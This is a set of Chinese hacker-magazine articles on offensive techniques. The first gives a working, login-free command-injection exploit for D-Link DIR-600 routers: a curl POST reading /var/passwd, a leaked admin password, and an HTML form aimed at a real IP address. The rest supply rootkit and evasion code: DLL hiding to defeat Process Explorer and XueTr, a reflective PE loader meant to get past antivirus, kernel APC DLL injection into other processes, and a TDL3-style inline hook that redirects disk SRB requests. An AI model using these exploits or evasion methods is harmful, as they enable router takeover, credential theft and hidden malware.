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D-Link DIR-600 命令执行漏洞利用 

文/图 Blackcool 

最近发现 D-Link 无线路由器的安全问题还真是不少，本文要和大家分享的是一个比较严

重的漏洞，D-Link DIR-600 命令执行漏洞，这个漏洞可以在不登录设备的情况下执行 Linux

系统命令。也就是说，只要该路由器提供对外访问的 Web 接口，即可执行底层命令。 

首先看一下存在该漏洞的设备的版本信息：固件版本 2.12b02、2.13b01、2.14b01 的设

备都存在这个安全漏洞。 

利用方法是向存在漏洞的设备的 Web 接口中的 command.php 文件 post 数据“cmd=cat 

/var/passwd”，即可执行读取用户及密码的命令，在反馈页面中会显示出该设备的用户名及

密码。 

下面我们用 curl 进行测试，Wireshark 进行抓包观察利用过程，命令是“curl --data 

"cmd=cat /var/passwd" http://设备 IP/command.php”，执行后，会自动向设备发包，反馈结

果如图 1 所示。 

 

图 1 

图中蓝色的部分是返回结果，可以看到返回数据中有管理员用户名及密码。该设备的管

理员为 admin，密码是 Jee8peeg，使用该帐号及密码登录设备进行验证，结果如图 2 所示，

可以正常登录设备进行远程控制。 
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图 2 

从原理可以看出这个漏洞利用是很简单的，发 post 数据到执行 URL 即可，我们完全可

以编写 html 页面完成 post 发包功能。代码很简单，具体如下： 

 

<form action="http://217.17.210.159:8080/command.php" method="post"> 

  <p>cmd=<input type="text" name="cmd" /></p> 

  <input type="submit" value="执行" /> 

</form> 

 

保存为 exp.html 即可，之后用浏览器打开，在“cmd=”后面输入要执行的命令，如读

取帐号密码等，如图 3 所示，点击“执行”后即会向指定 URL 发送数据，反馈结果也会显

示在页面上。 

 

图 3 

联网设备的安全问题还有很多，如文件任意下载、文件任意读取、命令注入等，存在漏

洞的设备也不只局限于路由器，像 IPhone 的部分联网软件也是存在上述安全漏洞的，以后

有机会继续和大家分享交流相关技术。 
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隐藏 DLL 的两则新思路 
文/图 木羊 

 隐藏 DLL 的动机很多，比如躲过检测就是常见的原因之一。隐藏的方法也不是唯一的，

大体可分为手动载入和痕迹消除两类。手动载入，顾名思义就是自己实现 LoadLibrary 函数，

这样可以更精确地控制内存读入什么信息和不读入什么信息，理论上这种方法隐藏效果最

佳，但实现一个基本的 Peloader 绝不是一件轻巧的事，如果还要完美兼容所有细节，那展

开后还需要考虑妥善处理 tls、资源和线程等问题，DLL 在这方面的处理只会比 EXE 更加复杂。

相比之下，选择先调用 LoadLibrary 再消除痕迹，则不用在兼容性方面焦头烂额，至少更为

稳定。但用过 RootKit 的都知道，Windows 就是一个看起来风平浪静其实底下暗流涌动的万

年坑主，除了真的不存在之外，没有什么方法真能保证把痕迹擦得片甲不留。以 DLL 擦除为

例，网上很多方法选择的是 PEB 双向断链，需要很多硬编码，会影响移植性且不说，只要用

内存暴力穷搜还是会露出破绽来的。 

 不过所谓攻防对抗，本身也是个此消彼长的博弈过程，只要能用更小的成本迫使对方投

入更高的代价，就能算得上好方法。这几天琢磨这事，倒是折腾出两个看起来可行的新思路，

效果还行。 

 

思路一的实现 

 新思路也是延续先调用 LoadLibrary 再消除痕迹这一大分支，首先还是先把 DLL 载入内

存，如图 1 所示。 

 

图 1 

 tstDll.dll 是用 VC 模版写的一个测试 DLL，导出一个名为 tstFunc 的测试函数。此时用 OD

查看执行模块是可以看到的，如图 2 所示。 

 

图 2 

 那么，接下来就是见证 tstDll 消失的时刻，而且是用最常见的方法，显式卸载，如图 3

所示。 

 

图 3 

 大家一定都注意到了，最末一行调用了 FreeLibrary 函数，直接将 DLL 注销！正如前文所

说，最好的隐藏方法，就是真正的不存在，所以，我们 FreeLibrary。等等，FreeLibrary 之后，

我们的 DLL 也就不存在了，那又怎么可能调用呢？要说清这个问题，这里就要先了解一下

FreeLibrary 函数的实现过程。 
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 总的来说，FreeLibrary 函数的执行流程分为四步：判断输入句柄是否有效→递减 DLL 的

计数→调用 DLL 的 DllMain 响应 PROCESS_DETACH 消息→从进程空间撤销对 DLL 的内存映射。

可以看出，前面三步只是扫尾，第四步才真正把 DLL 从内存中清出去。如果等系统替我们把

痕迹擦干净了，再阻止它清除 DLL 的内存映射，就可以既清了痕迹又保了 DLL，不是极好的

吗？ 

 说办就办。逆向分析 FreeLibrary 函数，发现最后是调用了 ntll 的包装函数

ZwUnmapViewOfSection 来完成内存注销工作的，函数内容如下，如图 4 所示。 

 

图 4 

 因为是包装函数，所以内容也简单，不过可操作的空间也小了，这里用最简单的方法，

patch 函数首地址，通过 shellcode 技巧直接 retn 8，如图 5 所示。 

 

图 5 

 到此还没完，现在需要还原 FreeLibrary 函数，不然其它地方再调用就会出问题，如图 6

所示。 

 

图 6 

 调用自宫后的 FreeLibrary 函数可以很好地完成擦除任务，再看 OD 已经找不到 tstDll 了。 

 调用 DLL 的导出函数也很容易，只要保存好 LoadLibrary 得到的句柄，就能随时通过

GetProcAddress 函数来使用这个理论上已经不存在的 DLL 了。 

 这种方法只在 patch 时使用了硬编码，通用性较好。当然，这只是最简单的 PoC，有些

DLL 在 DllMain 中还做了一些操作，要保证兼容可能还需做些针对性处理，不过相比其它擦

除方法，成本已经相当低了。 

 最后说说不足。这种方法属于载入后擦除的一种实现，因此不可避免地必须让 DLL 曝光

一次，在某些场景这样做会引起麻烦。另外，和 PEB 断链法一样，这种方法只是清除操作系

统数据结构中的记录，在内存中仍然保留着完整的 DLL 镜像，如果要对抗内存暴力穷搜，还

需要再处理掉 PE 头特征，如图 7 所示。 

 

图 7 

 

思路二的实现 

 上面是用 ShellCode 技巧 patch 函数 ZwUnmapViewOfSection，实现 DLL 隐藏的思路。真
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正用心去实测的朋友会发现，这个方法虽然理论上完成了 DLL 卸载，但无法逃避 XueTr 和

ProcessExplorer 的检测。为什么会这样呢？这要从 VAD 说起。VAD 全名虚拟地址描述符

（Virtual Address Descriptor），是一组标记进程内存空间使用情况的数据结构，以二叉树的

形式组织。如果正常调用 ZwUnmapViewOfSection，那么内存地址所对应的 VAD 就会从树中

摘除。 

 现在问题就来了，上面我们阉割的正是这枚 API，结果造成 VAD 没被正常删除的后遗症，

这样内存查看工具很容易就会发现隐藏的 DLL。难道真的就不能偷懒搭系统的顺风车，捡现

成的便宜吗？坚持才是黑客的浪漫，一定会有一条折衷办法的。仔细想想，现在最大的问题，

就是既保住 DLL 的内存镜像，又要 ZwUnmapViewOfSection 函数能够顺利清理 DLL 的内存空

间。 

 这看起来是个不可调和的矛盾，其实不然。只要内存镜像保存在其它地方，就仍由

ZwUnmapViewOfSection 函数随意糟蹋原来的内存空间了。相信很多朋友看到这里已经恍然

大悟，没错，只要拷贝内存镜像即可，如图 8 所示。 

 

图 8 

 代码很好理解，先申请镜像大小的内存空间，再从 DLL 的首地址开始复制。镜像大小是

现成的，可以从 PE 头中获取，如图 9 所示。 

 

图 9 

 接下来还是 FreeLibrary，不过这次不用事先 patch 了。完成这步以后，打开 XueTr 和

ProcessExplorer，这两款利器也无法查找到我们的 DLL 了，看来这次的隐藏效果要好很多，

真正满足了不存在才是最好的隐藏。 

 我们通过从有到无躲过检查，现在再从无到有恢复 DLL 的可用性，只要把 DLL 镜像复制

回原地址即可，如图 10 所示。 

 
图 10 

 请注意这次的 VirtualAlloc，第一个参数为 hdll，也即 DLL 载入时的原地址，这样就可以

指定申请内存的起始地址为原地址了。由于只是内存数据复制，没有向 VAD 树添加内容，

所以检测工具就无从得知隐藏 DLL 已经悄悄官复原职了。 

 功能性的代码讲解完毕，最后再探讨一下将 DLL 复制回原地址的必要性。其实在我能想

到的测试场景，不管是载入的原地址还是通过 API 申请的新地址，只要知道了 DLL 镜像的起

始地址，就能正常调用 DLL 的导出函数了。不过最后还是选择将镜像移回原址，认为原封不

动兼容性总是最好的，而且编码量也很少。如果黑防的读者能找到迁回或者不迁回更好的理

由，希望能共同讨论。 

 这个方法的不足之处同样是需要将 DLL 曝光一次，以及无法对抗内存暴力穷搜。前者无

解，后者可以通过抹掉 PE 特征降低被发现几率，实现方法上面已经给出，就不赘述了。 

 

（完） 
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Ring3 下实现 PE Loader 

文/ 换心 

 Windows 系统中，程序运行时一般都需要加载 DLL，加载方式通常分为两种：隐式加载

和显式加载。应用程序在初始化阶段，会根据导入表（IAT）加载所需的 DLL 以及这些 DLL

导入的其他 DLL，这属于隐式加载。显式加载是指应用程序内部代码显式调用 LoadLibrary

或 LoadLibraryEx 加载一个指定的 DLL。不管是隐式加载还是显式加载，其实质都是通过调用

LoadLibrary 来实现。 

如若我们想实现一种不利用 LoadLibrary 就将 DLL 加载入进程的方法，并且使类似

Procmon.exe 等进程监控工具无法查看到加载的 DLL，就需要手动编程，模拟 LoadLibrary 的

内部实现。通过对 LoadLibrary 的逆向分析，可以获得 Windows 系统中 DLL 加载的详细步骤,

主要分为三个阶段，具体如下： 

 前期工作：参数检查，UNICODE字符处理，看是否已加载、是否为 KownDll。 

 映射部分：搜索 DLL，打开 DLL文件并根据文件句柄分配内存区域，映射 DLL到内

存，获得 DLL 的入口地址并保存到数据表中，将 DLL入口加入进程已加载模块列表中。 

 执行部分：载入其所引用的其他 DLL，修改 IAT表项，更新 DLL引用计数，查询执

行选项，调用 DLL 初始化函数。 

为了使加载的 DLL 对系统进程监控工具透明，在自己编码实现时，对于映射部分的“将

DLL 入口加入进程已加载模块列表”不予实现即可达到目的，接下来的部分将结合源码来讲

解整个工具的实现过程。 

 首先是定义 DLL 加载入内存之后的结构体，如下所示。 

 

 typedef struct { 

 PIMAGE_NT_HEADERS headers; //DLL 的 PE 文件头 

 unsigned char *codeBase; //DLL 载入内存的基址 

 HMODULE *modules; //模块句柄 

 int numModules; //模块个数 

 int initialized; //是否已初始化 

 } MEMORYMODULE, *PMEMORYMODULE; 
 

 首先将 DLL 文件读入内存，按 HMEMORYMODULE 结构体进行存储。接下来判断待加载

的 DLL 是否为一个正常的 PE 文件，通过对“MZ”和“PE”标识进行检查实现。接着按照

DLL 文件中指定的加载基址为 DLL 申请内存空间，如果失败则任意申请一块内存，在后面对

基址进行修正，并进行重定位。接着提交内存，将文件映像读入内存，并更新地址标识位的

值。接下来把 DLL 的节块拷贝到新的内存块中，调整导入数据的地址。接下来看该 DLL 是否

引用了其他 DLL，如果有，将这些 DLL 也加载入内存，并修改其导入表中函数的地址。然后

根据节表信息来标记内存页，并且释放不需要的节块。最后获取已加载 DLL 的入口点，将

DLL 附加到进程中。整个函数实现如下： 

 

HMEMORYMODULE MemoryLoadLibrary(const void *data) 

{ 

 PMEMORYMODULE result; 

 PIMAGE_DOS_HEADER dos_header; 
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 PIMAGE_NT_HEADERS old_header; 

 unsigned char *code, *headers; 

 SIZE_T locationDelta; 

 DllEntryProc DllEntry; 

 BOOL successfull; 

 

 dos_header = (PIMAGE_DOS_HEADER)data; 

 //判断待加载 DLL 是否为一个正常的 DLL 

 if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { 

#if DEBUG_OUTPUT 

  OutputDebugString("Not a valid executable file.\n"); 

#endif 

  return NULL; 

 } 

 

 old_header = (PIMAGE_NT_HEADERS)&((const unsigned char 

*)(data))[dos_header->e_lfanew]; 

 if (old_header->Signature != IMAGE_NT_SIGNATURE) { 

#if DEBUG_OUTPUT 

  OutputDebugString("No PE header found.\n"); 

#endif 

  return NULL; 

 } 

 //为 DLL 申请内存空间 

 code = (unsigned char 

*)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase), 

  old_header->OptionalHeader.SizeOfImage, 

  MEM_RESERVE, 

  PAGE_READWRITE); 

    if (code == NULL) { 

        //如果在指定基地址处申请内存失败，则另外申请一块内存 

        code = (unsigned char *)VirtualAlloc(NULL, 

            old_header->OptionalHeader.SizeOfImage, 

            MEM_RESERVE, 

            PAGE_READWRITE); 

  if (code == NULL) { 

#if DEBUG_OUTPUT 

   OutputLastError("Can't reserve memory"); 

#endif 

   return NULL; 

  } 

 } 

    result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), 0, 

sizeof(MEMORYMODULE)); 
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 result->codeBase = code; 

 result->numModules = 0; 

 result->modules = NULL; 

 result->initialized = 0; 

 //为 DLL 的映像 commit 内存 

 VirtualAlloc(code, 

  old_header->OptionalHeader.SizeOfImage, 

  MEM_COMMIT, 

  PAGE_READWRITE); 

 //为 DLL 的 PE 头 commit 内存 

 headers = (unsigned char *)VirtualAlloc(code, 

  old_header->OptionalHeader.SizeOfHeaders, 

  MEM_COMMIT, 

  PAGE_READWRITE); 

 //将 PE 头 copy 到 code 中 

 memcpy(headers, dos_header, dos_header->e_lfanew + 

old_header->OptionalHeader.SizeOfHeaders); 

 result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char 

*)(headers))[dos_header->e_lfanew]; 

 //更新 DLL 加载的基址 

 result->headers->OptionalHeader.ImageBase = (POINTER_TYPE)code; 

 //把 DLL 文件中的节拷贝到新的内存块中 

 CopySections(data, old_header, result); 

 //调整导入数据的地址 

 locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase); 

 if (locationDelta != 0) { 

  PerformBaseRelocation(result, locationDelta); 

 } 

 //加载该 DLL 所引用的其他 DLL，并修改导入表中函数的地址 

 if (!BuildImportTable(result)) { 

  goto error; 

 } 

 //根据节表信息来标记内存页，并且释放标记为"discardable"的节块 

 FinalizeSections(result); 

 //获取已加载 DLL 的入口点 

 if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { 

  DllEntry = (DllEntryProc) (code + 

result->headers->OptionalHeader.AddressOfEntryPoint); 

  if (DllEntry == 0) { 

#if DEBUG_OUTPUT 

   OutputDebugString("Library has no entry point.\n"); 

#endif 

   goto error; 

  } 
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  //将 DLL 附加到进程中 

  successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); 

  if (!successfull) { 

#if DEBUG_OUTPUT 

   OutputDebugString("Can't attach library.\n"); 

#endif 

   goto error; 

  } 

  result->initialized = 1; 

 } 

 

 return (HMEMORYMODULE)result; 

error: 

 //卸载 DLL 

 MemoryFreeLibrary(result); 

 return NULL; 

} 

 

 其中调用 CopySections()函数来完成将节数据拷贝入内存，调用 PerformBaseRelocation()

进行重定位，调用 BuildImportTable()加载引用的其他 DLL 并修改导入表中的函数地址，调用

FinalizeSections()初始化内存中的节。最后，若在分配内存成功之后，其他步骤出现了失败

的情形，则调用 MemoryFreeLibrary()来卸载 DLL。 

 最后，还需要一个函数来获取加载 DLL 中导出函数的地址，实现如下： 

 

//根据输入函数名来获取函数地址 

FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char *name) 

{ 

 unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 

 int idx=-1; 

 DWORD i, *nameRef; 

 WORD *ordinal; 

 PIMAGE_EXPORT_DIRECTORY exports; 

 PIMAGE_DATA_DIRECTORY directory = 

GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); 

 if (directory->Size == 0) { 

  //没有导出表的情形 

  return NULL; 

 } 

 exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress); 

 if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { 

  //没有导出数据的情形 

  return NULL; 

 } 

 //在导出表的名字中搜索匹配函数名 
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 nameRef = (DWORD *) (codeBase + exports->AddressOfNames); 

 ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals); 

 for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) { 

  if (stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) { 

   idx = *ordinal; 

   break; 

  } 

 } 

 if (idx == -1) { 

  //没有找到 

  return NULL; 

 } 

 if ((DWORD)idx > exports->NumberOfFunctions) { 

  //名称和序号不符 

  return NULL; 

 } 

 //将 RVA 转换为内存地址 

 return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions 

+ (idx*4)))); 

} 

 

 下面是一个调用实例。 

 

void LoadFromMemory(void) 

{ 

 FILE *fp; 

 unsigned char *data=NULL; 

 size_t size; 

 HMEMORYMODULE module; 

 ShowMe showMe; //从 DLL 中导出的 API 

     //打开 DLL 文件 

 fp = fopen(DLL_FILE, "rb"); 

 if (fp == NULL) 

 { 

  printf("Can't open DLL file \"%s\".", DLL_FILE); 

  goto exit; 

 } 

        //读取 DLL 文件的内容 

 fseek(fp, 0, SEEK_END); 

 size = ftell(fp); 

 data = (unsigned char *)malloc(size); 

 fseek(fp, 0, SEEK_SET); 

 fread(data, 1, size, fp); 

 fclose(fp); 
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    //载入内存并加载 

 module = MemoryLoadLibrary(data); 

 if (module == NULL) 

 { 

  printf("Can't load library from memory.\n"); 

  goto exit; 

 } 

    //获取 DLL 导出函数 ShowMe 的地址 

 showMe = (ShowMe)MemoryGetProcAddress(module,"ShowMe"); 

 showMe(); 

 MemoryFreeLibrary(module); 

exit: 

 if (data) 

  free(data); 

} 

 

 在运行完 showMe()之后会弹出一个对话框，表示 DLL 已经成功加载并可以使用 DLL 导

出的函数。此时采用 Procmon.exe 查看进程模块，将无法看到该 DLL 模块。 

 本文演示的只是一种用手动编程加载 DLL 而不是使用 Loadlibrary 的方法，这其实也是从

内存加载 DLL 的方法。在此基础上，结合进程注入，可以让某个进程加载特定的 DLL，而不

会被杀软等系统监控软件拦截。 

                                                                                 

利用 APC 从内核向应用程序插入 DLL 

文/图 宁妖 

 内核是 Rootkit 经常光顾的地方，那里有无上的权利（不考虑 Ring -1 之类的）。一段内

核代码几乎无所不能，可以摧毁任何安全软件的防护，可以做到深度隐藏等。Rootkit 的目

的是保护病毒木马，因此，Rootkit 在一些情况下需要将病毒木马引导起来，甚至在其他的

进程空间里面引导，如将木马程序注入到 svchost 进程空间。 

 本文介绍一种常见的内核唤起应用程序的方法——APC。向指定线程插入 APC 是引导应

用层代码的方法之一，经过多个著名 Rootkit（如 TDL 系列）验证可行。虽然很多病毒使用

APC 技术进行实战，但仍要注意的是，凭空制造一个 APC 插入已有线程，有可能造成该线程

紊乱、崩溃。读者有兴趣可以自己做个实验，写一个测试应用程序，多个线程在等待，然后

用本文给出的驱动程序或者其他相关驱动程序向该测试应用程序插入 APC，看看各个等待线

程是如何被打断原有工作的。这个实验可以加深读者对“插入 APC”方法的本质了解。 

 下面本文介绍一个 APC 使用实例。 

 

准备 APC 

 准备 APC 包括 APC 数据结构的填充和应用层相关信息的获取。 

1．APC 数据结构的填充 

调用 KeInitializeApc 即可，一段典型的 APC 初始化代码如下： 

 

pApc = (PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); 
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if (!pApc) 
{ 
 DbgPrintEx(LOGMACRO,"ExAllocatePool failure.\n"); 
 goto _exit; 
} 
_KeInitializeApc(pApc,(PRKTHREAD)pPayPara->pThread,OriginalApcEnviro

nment, 
 (PKKERNEL_ROUTINE)((ULONG)ApcKernelRoutine),NULL, 
 (PKNORMAL_ROUTINE)pPayPara->LoadLibraryExAAddr,UserMode,pBaseAdd

r); 
_KeInsertQueueApc(pApc,NULL,NULL,IO_NO_INCREMENT); 

 

_KeInitializeApc 为动态获取的 KeInitializeApc 地址，这个函数的原型如下： 

 

VOID 

KeInitializeApc ( 

    __out PRKAPC Apc, 

    __in PRKTHREAD Thread, 

    __in KAPC_ENVIRONMENT Environment, 

    __in PKKERNEL_ROUTINE KernelRoutine, 

    __in_opt PKRUNDOWN_ROUTINE RundownRoutine, 

    __in_opt PKNORMAL_ROUTINE NormalRoutine, 

    __in_opt KPROCESSOR_MODE ApcMode, 

    __in_opt PVOID NormalContext 

) 

  

其中，Thread 指定了待插入的目标线程；KernelRoutine 指定了内核态下运行的函数；

NormalRoutine 指定了用户态运行的函数；NormalContext 则是 NormalRoutine 的参数。 

在本文示例中，NormalRoutine 即是 LoadLibraryExA，NormalContext 即是 LoadLibraryExA

的第一个参数“c:\test.dll”。需要注意的是，保存“c:\test.dll”这一个字符串的空间应该在

Thread 所在进程空间里，所以需要在目标进程上下文中分配空间。 

 

InitializeObjectAttributes(&oa,NULL,OBJ_KERNEL_HANDLE,NULL,NULL); 
cid.UniqueProcess = pPayPara->hProcessID; 
cid.UniqueThread = 0; 
ntStatus = ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid); 
if (!NT_SUCCESS(ntStatus)) 
{ 
 DbgPrintEx(LOGMACRO,"ZwOpenProcess failure.\n"); 
 goto _exit; 
} 
uSize = sizeof(cDll); 
ntStatus = ZwAllocateVirtualMemory(hProcess,&pBaseAddr,0,&uSize, 
MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 
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if (!NT_SUCCESS(ntStatus)) 
{ 
 DbgPrintEx(LOGMACRO,"ZwAllocateVirtualMemory failure.\n"); 
 goto _exit; 
} 
KeStackAttachProcess((PKPROCESS)pPayPara->pProcess,&ApcState); 
memcpy(pBaseAddr,cDll,sizeof(cDll)); 
pPayPara->LoadLibraryExAAddr = 

GetLoadLibraryExAaddrFromPEB(Data,hProcess); 
KeUnstackDetachProcess(&ApcState); 
 

关于上述代码中的目标对象（进程、线程）将在下文（触发 APC）介绍。LoadLibraryExA

地址的获取方法很多，本文示例使用的方法是枚举进程的所有模块，找到 kernel32 模块，然

后从 kernel32 的导出函数中找到 LoadLibrarayExA 的地址。 

2．应用层相关信息获取 

 上文在介绍初始化 APC 的时候，提到 LoadLibrarayExA 地址的获取方法。方法很多，只

要能找到 kernel32 模块的基址，再从 kernel32 的导出表中找到目标函数即可。需要注意的

是，kernel32 的基址在 ASLR 机制下，每次重启计算机都会改变，因此不能使用硬编码。另

外，驱动代码在访问 user-mode 的进程空间时，应该明确进程上下文，本文示例中调用

KeStackAttachProcess 函数绑定了进程空间。GetLoadLibraryExAaddrFromPEB 函数代码如下： 
 

PVOID GetLoadLibraryExAaddrFromPEB(GlobalData *Data,HANDLE 
ProcessHandle) 

{ 
 NTSTATUS ntStatus; 
 ULONG uRet,uLen; 
 PVOID pFnAddr = NULL; 
 PROCESS_BASIC_INFORMATION pbi; 
 PPEB pPeb; 
 PPEB_LDR_DATA pLdr;  
 LIST_ENTRY *pEntry; 
 PLDR_DATA_TABLE_ENTRY pDataEntry; 
 WCHAR 

wKernel32[]={L'K',L'e',L'r',L'n',L'e',L'l',L'3',L'2',L'.',L'd',L'l',L'l
',0}; 

 UNICODE_STRING us1; 
 PZwQueryInformationProcess _ZwQueryInformationProcess = NULL; 
 RtlInitUnicodeString(&us1,L"ZwQueryInformationProcess"); 

 _ZwQueryInformationProcess = 
(PZwQueryInformationProcess)MmGetSystemRoutineAddress(&us1); 

 if (NULL == _ZwQueryInformationProcess) 
 { 
  goto _exit; 
 } 
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 //获取进程所有模块的信息 
 ntStatus = 

_ZwQueryInformationProcess(ProcessHandle,ProcessBasicInformation, 
                      &pbi,sizeof(PROCESS_BASIC_INFORMATION),&uRet); 
 if (!NT_SUCCESS(ntStatus)) 
 { 
  goto _exit; 
 } 
 RtlInitUnicodeString(&us1,wKernel32); 
 pPeb = (PPEB)pbi.PebBaseAddress; 
 if (pPeb == NULL) 
 { 
  goto _exit; 
 } 
 pLdr = pPeb->Ldr; 
 pEntry = pLdr->InLoadOrderModuleList.Flink; 
 while(pEntry != &pLdr->InLoadOrderModuleList) 
 { 
  pDataEntry = (PLDR_DATA_TABLE_ENTRY)pEntry; 
  if (pDataEntry->LoadCount <= 0 || !pDataEntry->DllBase) 
  { 
   pEntry = pEntry->Flink; 
   continue; 
  } 

  //遍历模块，找到 kernel32 
  if 

(RtlCompareUnicodeString(&us1,&pDataEntry->BaseDllName,TRUE) == 0) 
  { 
   pFnAddr = GetProcedureAddressByHash( 
                       pDataEntry->DllBase,H_LoadLibraryExW); 
   break; 
  } 
  pEntry = pEntry->Flink; 
 } 
_exit: 
 return pFnAddr; 
} 

 

 本文示例找到 kernel32 基址后，调用 GetProcedureAddressByHash 函数通过 kernel32 导

出表找到 LoadLibrayExA 的地址（注：GetProcedureAddressByHash 来自互联网）。 

 再介绍一种简单的方法从 kernel mode 获取 kernel32 基址，读者有兴趣可以自己实现。

在驱动程序中设置一个 load image 回调，新的进程被创建时会有 kernel32 模块。这个方法的

缺点是需要在驱动安装后再执行一个程序触发，不过如果驱动程序是开机自启动，那么就肯

定能获取到 kernel32 的基址了。 
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触发 APC 

 在上文介绍初始化 APC 的时候，有一个非常重要的参数 Thread 没有介绍获取方法。本

小节详细介绍此参数的获取方法。 

 APC 的负面效果本文已经简单介绍过，可能会引起被插入线程的紊乱、崩溃，如果遍历

进程的线程列表，插入 APC，那就非常危险了。一般做法是选择一个符合 APC 触发条件并且

带来最小负面影响的线程。 

 首先需要知道 APC 的触发条件：线程在 user mode 等待，并且线程是 alertable，那么在

目标进程中找到一个这样的线程就比较简单了。 

 

 for (i=0; i<pProcessInfo->NumberOfThreads; ++i) 
 { 
  ntStatus = PsLookupThreadByThreadId( 
              pThreadInfo->ClientId.UniqueThread,(PETHREAD*)&pThread); 
   if (!NT_SUCCESS(ntStatus)) 
   { 
    goto _nextProcess; 
   } 
   ObfDereferenceObject(pThread); 
   if ( 
                 //State 
    (*(UCHAR*)((ULONG)pThread+Data.uStateOffset) == 5) &&  
                 //WaitMode 
    (*(UCHAR*)((ULONG)pThread+Data.uWaitModeOffset) == 1) && 
      //Alertable
 (((*(UCHAR*)((ULONG)pThread+Data.uAlertableOffset))&Data.AlertableMa
sk) == 0)    )  
   { 
    break; 
   } 
   ++pThreadInfo; 
 } 
 

 上述代码片段中，在目标进程中搜索符合这样条件的线程：state为5（即wait），wait mode

为 1（即 user mode），并且是非 alertable 的。本文将 user mode 等待的线程分为两类：一类

是 alertable，一类是非 alertable。其中，alertable 的线程符合 APC 触发的条件，但并不是非

alertable 的线程就一定不能使用，正如本文介绍的，可以人为将此线程修改为 alertable。直

接选用第一类线程和修改第二类线程并没有太大区别，都有可能带来不稳定。 

 那么，稳定的 APC 怎么插入呢？笔者曾经逆向过一些 Rootkit 和 AV 软件，向读者介绍

其中一种方法供参考。在 hitmanpro 这款 AV 平台软件中，就使用了 APC 技术来 WinExec 一

个用户态的程序 kickstart.exe，作为一款商用软件，它是如何选择线程的呢？从笔者的分析

来看，hotmanpro 主要通过判断线程的 wait reason 实现的，如图 1 所示。 

HACKER DEFENCE◆16◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n



 

 

图 1 

 通过判断线程的 wait reason 是否是 0x0f 或者 0x10 来选择线程，0x0f 即 WrQueue，而

0x10 即 WrLpcReceive（可以参考 KWAIT_REASON 这个枚举类型）。也许读者可以从判断 wait 

reason 中得到一些启发。注意，hitmanpro 是将 APC 插入到 services.exe 进程中的，并且不停

的遍历 services 所有线程，查询是否有满足条件的线程。在系统正常运行状态中，这段代码

似乎不会发挥作用，但随机器重启可以，读者有兴趣可以尝试。 

                                                                                

重定向 SRB 读写请求 

文/ 宁妖 

实现 SRB 读写重定向的一个直接方法便是挂钩磁盘小端口驱动的 SRB 处理函数

（IRP_MJ_SCSI）。本文就是采用 inline hook 磁盘小端口驱动的 IRP_MJ_SCSI 处理函数或者其

StartIO 函数以实现 SRB 访问的重定向。 

 

初始化 

初始化工作主要是找到磁盘小端口驱动的驱动对象，本文首先获取磁盘驱动的 FDO 设

备，然后根据 FDO 设备找到 PDO 设备，而 PDO 设备正是磁盘小端口驱动创建的，从而找到

磁盘小端口驱动的驱动对象，相关代码如下。 

Data->DRxDevice = GetFdoDiskDevice(Data); 
if (NULL == Data->DRxDevice) 
{ 
 DbgPrintEx(LOGMACRO,"GetFdoDiskDevice failure.\n"); 
 return STATUS_UNSUCCESSFUL; 
} 

pDiskPDO = 
((PAVGER_DEVOBJEXT)Data->DRxDevice->DeviceObjectExtension)->AttachedTo; 

while (pDiskPDO && 
((PAVGER_DEVOBJEXT)pDiskPDO->DeviceObjectExtension)->AttachedTo) 

{ 
 pDiskPDO = 
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((PAVGER_DEVOBJEXT)pDiskPDO->DeviceObjectExtension)->AttachedTo; 
} 
if (NULL == pDiskPDO) 
{ 
 DbgPrintEx(LOGMACRO,"pDiskPDO is NULL.\n"); 
 return STATUS_UNSUCCESSFUL; 
} 
Data->PdoDiskDevice = pDiskPDO; 

磁盘的 FDO 设备获取方法与 TDL3 一样，通过枚举磁盘驱动的所有设备，找到符合特定

条件的设备。 

pDiskDev = pDiskDrv->DeviceObject; 
while(pDiskDev) 
{ 
 pDeviceExtension = pDiskDev->DeviceExtension; 
 if (NULL != pDeviceExtension) 
 { 
     if ( 
  pDeviceExtension->CommonExtension.IsFdo && 
  pDeviceExtension->DiskGeometry.MediaType == FixedMedia 
     ) 
     { 
  return pDiskDev; 
     } 
 } 
 pDiskDev = pDiskDev->NextDevice; 
 } 

 

挂钩处理函数 

找到磁盘小端口驱动的驱动对象后，进行 inlinehook。 

 

if (gData.PdoDiskDevice->DriverObject->DriverStartIo) 
{ 
  ntStatus = InlineHookFn( 
  gData.PdoDiskDevice->DriverObject->DriverStartIo); 
} 
else 
{ 
  ntStatus = InlineHookFn( 
  gData.PdoDiskDevice->DriverObject->MajorFunction[IRP_MJ_SCSI]); 
} 
 

Inline hook 的方法相信读者都知道，稳定的 inline hook 一直是一个讨论的话题，要处理

好多核以及多线程的问题。笔者在本文中推荐一种稳定的 inline hook 方法，利用微软的热补

丁实现，这个方法网上早已有了，而且在多个 Rootkit 中已经使用。 
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NTSTATUS InlineHookFn(PVOID FunctionAddress) 
{ 
 NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; 
 BYTE  *pProxyJmpLoc; 
 BYTE  *pCode=NULL,*pProxyJmp=NULL; 
 ULONG  uAttr; 
 BYTE  jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 };  
 PMDL  pMdlProxy=NULL,pMdlCode=NULL; 
 if (*(WORD*)FunctionAddress != 0xff8b) //8bff mov     edi,edi 
 { 
  return STATUS_UNSUCCESSFUL; 
 } 
